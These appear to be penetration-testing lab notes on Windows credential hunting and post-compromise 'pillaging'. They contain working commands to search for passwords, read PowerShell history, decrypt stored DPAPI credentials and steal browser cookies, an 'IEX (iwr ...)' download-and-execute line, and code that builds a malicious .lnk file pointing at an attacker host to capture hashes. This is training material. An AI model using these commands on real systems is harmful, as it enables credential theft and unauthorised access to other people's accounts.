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Windows Credential Hunting

Application Configuration Files

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

Dictionary Files

Chrome Dictionary Files

gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password

Unattended Installation Files

  • Unattended installation files may define auto-logon settings or additional accounts to be created as part of the installation.

  • Passwords in the unattend.xml are stored in plaintext or base64 encoded.

<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="specialize">
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <AutoLogon>
                <Password>
                    <Value>local_4dmin_p@ss</Value>
                    <PlainText>true</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <LogonCount>2</LogonCount>
                <Username>Administrator</Username>
            </AutoLogon>
            <ComputerName>*</ComputerName>
        </component>
    </settings>

  • Although these files should be automatically deleted as part of the installation, sysadmins may have created copies of the file in other folders during the development of the image and answer file.

PowerShell History File

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Confirming PowerShell History Save Path

(Get-PSReadLineOption).HistorySavePath

Reading PowerShell History File

gc (Get-PSReadLineOption).HistorySavePath
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

  • We can also use this one-liner to retrieve the contents of all Powershell history files that we can access as our current user.

PowerShell Credentials

  • PowerShell credentials are often used for scripting and automation tasks as a way to store encrypted credentials conveniently.

  • The credentials are protected using DPAPI, which typically means they can only be decrypted by the same user on the same computer they were created on.

  • Take, for example, the following script Connect-VC.ps1, which a sysadmin has created to connect to a vCenter server easily.

# Connect-VC.ps1
# Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml'
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword

Decrypting PowerShell Credentials

  • If we have gained command execution in the context of this user or can abuse DPAPI, then we can recover the cleartext credentials from encrypted.xml.

    • The example below assumes the former.

 $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().username
$credential.GetNetworkCredential().password

Manually Searching the File System for Credentials

findstr /spin "password" *.*

Search File Contents with PowerShell

select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password

Search for File Extensions - Example 1

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

Search for File Extensions - Example 2

where /R C:\ *.config

Search for File Extensions Using PowerShell

Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore

Sticky Notes Passwords

  • located here

C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

  • We can copy the three plum.sqlite* files down to our system and open them with a tool such as DB Browser for SQLite and view the Text column in the Note table with the query select Text from Note;.

Viewing Sticky Notes Data Using PowerShell

Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
cd .\PSSQLite\
Import-Module .\PSSQLite.psd1
$db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap

Strings to View DB File Contents

  • We can also copy them over to our attack box and search through the data using the strings command, which may be less efficient depending on the size of the database.

Other Files of Interest

Other Interesting Files

  • Some other files we may find credentials in include the following:

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*

Further Credential Theft

Cmdkey Saved Credentials

Cmdkey Saved Credentials

Browser Credentials

Retrieving Saved Credentials from Chrome

Retrieving Saved Credentials from Chrome windows

Copy Firefox Cookies Database

copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .

  • We can copy the file to our machine and use the Python script cookieextractor.py to extract cookies from the Firefox cookies.SQLite database.

python3 cookieextractor.py --dbpath "/home/plaintext/cookies.sqlite" --host slack --cookie d

Password Managers

Extracting KeePass Hash

Extracting KeePass Hash

Cracking Hash Offline

Online Hash Crackers

Hashcat

Email

  • If we gain access to a domain-joined system in the context of a domain user with a Microsoft Exchange inbox,

    • we can attempt to search the user's email for terms such as "pass," "creds," "credentials," etc. using the tool MailSniper.

When all else fails

  • run the laZagne tool in an attempt to retrieve credentials from a wide variety of software

  • SessionGopher

Wifi Passwords

Extracting windows wifi password

Citrix Breakout

Traffic Capture

  • if wireshark or tcpdump is there you can use it to capture packets from another user

Monitoring for Process Command Lines

  • It captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

  • procmon.ps1

while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}
 IEX (iwr 'http://10.10.10.205/procmon.ps1')

Search Windows Registry for key

# Download script
curl https://raw.githubusercontent.com/KurtDeGreeff/PlayPowershell/master/Search-Registry.ps1 -OutFile Search-Registry.ps1

# View docs
Get-Help .\Search-Registry.ps1

# Simple example (search HKEY_CURRENT_USER for values with data containing "powershell")
.\Search-Registry -StartKey HKCU -Pattern "PowerShell" -MatchData

Get Installed Programs via PowerShell & Registry Keys

$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

Capturing Hashes with a Malicious .lnk File

  • Using SCFs no longer works on Server 2019 hosts,

    • but we can achieve the same effect using a malicious .lnk file.

  • We can use various tools to generate a malicious .lnk file, such as Lnkbomb, as it is not as straightforward as creating a malicious .scf file.

    • We can also make one using a few lines of PowerShell:

Generating a Malicious .lnk File

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

Pillaging

  • Pillaging is the process of obtaining information from a compromised system.

  • It can be personal information, corporate blueprints, credit card data, server information, infrastructure and network details, passwords, or other types of credentials, and anything relevant to the company or security assessment we are working on.

  • Below are some of the sources from which we can obtain information from compromised systems:

    • Installed applications

    • Installed services

      • Websites

      • File Shares

      • Databases

      • Directory Services (such as Active Directory, Azure AD, etc.)

      • Name Servers

      • Deployment Services

      • Certificate Authority

      • Source Code Management Server

      • Virtualization

      • Messaging

      • Monitoring and Logging Systems

      • Backups

    • Sensitive Data

      • Keylogging

      • Screen Capture

      • Network Traffic Capture

      • Previous Audit reports

    • User Information

      • History files, interesting documents (.doc/x,.xls/x,password./pass., etc)

      • Roles and Privileges

      • Web Browsers

      • IM Clients

Extracting Clipboard data

Extracting Clipboard data Windows

Search entire windows for a file

  • cd to the directory you want to search in

 dir /s *confCons.xml*

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